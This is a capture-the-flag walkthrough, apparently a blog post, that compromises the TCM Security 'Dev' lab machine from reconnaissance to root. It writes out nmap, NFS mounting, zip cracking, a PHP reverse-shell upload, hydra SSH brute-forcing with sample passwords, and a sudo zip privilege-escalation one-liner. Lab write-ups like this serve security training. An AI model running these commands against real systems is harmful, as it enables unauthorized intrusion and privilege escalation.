Dev Box Writeup

Introduction

In this walkthrough, I’ll be taking you through the steps to compromise the Dev box from TCM security. This machine is classified as Easy, making it a great challenge for beginners. We’ll cover the entire process, from reconnaissance to exploitation and finally, root access.

Disclaimer: This write-up is for educational purposes only. Unauthorized hacking is illegal and unethical.

Table of Contents

1. Reconnaissance
2. Enumeration
3. Exploitation
4. Privilege Escalation
5. Root Access
6. Conclusion

Reconnaissance

The first step in any penetration test is gathering information about the target. We’ll start with a basic Nmap scan to discover open ports and services.

nmap -sC -sV -A -p- -oN Dev <Target_IP>

• Explanation:
• -p- used to scan All ports.
• -A Enables OS detection, version detection, script scanning, and traceroute.
• -sC will run default scripts
• -sV will return versions of the services
• -oN Dev will save the result in Normal file as “Dev”
• Findings:

Nmap results

open ports 22,80,111,2049,8080,38335,46613,55683,56099

Enumeration

Based on the results from the Nmap scan, we’ll dive deeper into the services running on the open ports.

Get c00lrabbit’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Service 1: 80/TCP Bolt installation running

Port 80

Service 2:2049/TCP rpc

• To check the available mount we can enter

showmount -e <Target_IP>

mkdir /mnt/dev

• To mount the available mount ,

mount -t nfs <Target_Ip>:/srv/nfs /mnt/dev

• There we found the save.zip
• Once we unzip the file using unzip save.zip
• Sadly it asks for password
• By using fcrackzip we can crack the zip file
• By using

fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt save.zip

• We found the pass “java101”

Service 3:8080/TCP

• I started enumarating using disbuster and found something under /dev

• Under http://<Target_IP>:8080/dev/index.php
• I found a welcome page to bolt CMS

• I found admin credentials in

http://<Target_IP>:8080/dev/pages/member.admin

password: I_love_java

Exploitation:

• By gathered intel we can login as Admin

• After that I created a payload.php(by pentest monkey) file using a php revershell script and created a file
• Now under /dev/pages/ we can run our payload(payload.txt) by clicking the page name

We got our shell

• We have to upgrade it so enter cmd

Python3 -c 'import pty;pty.spawn("/bin/bash")

• Go to /home/jeanpaul
• So I decided to run linPEAS.sh in /tmp dir to get some info
• wget the linPEAS.sh from our attacker machine

chmod +x linPEAS.sh && ./linPEAS.sh

• I found some credentials from linPEAS I tried to brute force using hydra
• FooBarBaz
• Password
• foobar
• SecREt01
• test1234
• password
• s3Cr3t
• xxj31ZMTZzkVA

hydra -l jeanpaul -P passwd.txt <Target_ip> ssh

But nothing worked :(

By gathering the name jeanpaul

• We can try to ssh the box using gathered info

ssh jeanpaul@<Target_ip> -I id_rsa

• Enter the pass phrase:I_love_java

Privilege escalation:

• We are into the machine so we have to privilege escalate
• So,

sudo -l

• We can run zip as sudo so
• By using GTFO bins we found a payload which works with the zip

https://gtfobins.github.io/gtfobins/zip/

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

Root Access:

• We got root

Cat /root/flag.txt

• Boom We Pwn3d the Box

Conclusion

This is the wonderful machine to start as a beginner we can learn many things like enumerating directory prexe etc.

We found the pass “java101”